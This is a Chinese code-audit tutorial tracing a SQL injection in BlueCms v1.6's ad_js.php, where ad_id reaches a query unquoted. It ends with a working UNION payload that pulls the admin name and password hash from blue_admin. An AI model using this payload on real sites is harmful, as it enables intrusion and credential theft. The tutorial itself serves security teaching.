BlueCms v1.6 Union注入

0x00 前言

非常基础的代码审计练习,适合有php基础的审计新手练习

0x01 代码跟踪

首先,进入首页代码 :index.php

01

包含了php文件:/include/common.inc.php

跟踪这个php文件,这些文件都是包含的全局文件。

02

这个php文件还是先包含了几个全局文件。
最主要的是上图最下方的if判断:

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

如果未开启magic_quotes_gpc,则对以各种请求的数据使用deep_addslashes()进行过滤,跟踪一下这个函数:

03

对传入的的$str,无论是数组还是字符串,使用addslashes()进行过滤。

PS:magic_quotes_gpc=On的情况下,如果输入的数据有,单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

0x02 注入分析

在Sublime使用CTRL+SHIFT+F全局搜索:$_GET
寻找以GET方式传入的参数:

04

使用红框圈起来的这条有异常。
ad_id明显是文章或者广告的id,并没有使用intval强制转化为整数型而是使用了trim()函数来去除了前后的空格,有点看不懂。
此时还不能完全确定存在注入,跟踪到这行代码看一下:

05

这次确定,对传入的ad_id只判断了是否为空,去除了前后的空格,此外也就多了一个全局的addslashes()转义了一下特殊字符,直接进行了SQL查询。
将SQL语句传入了getone()函数,很明显getone是进行SQL查询的函数,跟进。
getone()函数:

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
   $query = $this->query($sql,$this->linkid);
   $row = mysql_fetch_array($query, $type);
   return $row;
}

query()函数:

1
2
3
4
5
6
7
function query($sql){
    if(!$query=@mysql_query($sql, $this->linkid)){
        $this->dbshow("Query error:$sql");
    }else{
        return $query;
    }
}

第一个if,如果执行发生错误,将错误信息”Query errorsql”传入dbshow()函数。
dbshow()函数:

1
2
3
4
5
6
7
8
function dbshow($msg){
    if($msg){
        echo "Error:".$msg."<br><br>";
    }else{
        echo "Errno:".$this->errno()."<br>Error:".$this->error();
    }
    exit;
}

作用是输出错误信息。
之后回到ad_js.php文件:

06

$ad_content输出查询信息。
输出形式:

1
2
3
<!--
document.write("test");
-->

0x03 构造Payload

正常的SQL查询语句为:

1
select * from blue_ad where ad_id=1

因为直接回显查询内容,所以直接union注入咯。
看一下数据库结构:

07

我们需要的数据列名为admin_name和pwd,构造PayLoad:

1
select * from blue_ad where ad_id=-1 union select 1,2,3,4,5,6,concat(admin_name,0x23,pwd) from blue_admin limit 0,1#

执行后查看源码:

08

1
2
3
<!--
document.write("admin#21232f297a57a5a743894a0e4a801fc3");
-->
-------------本文结束感谢您的阅读-------------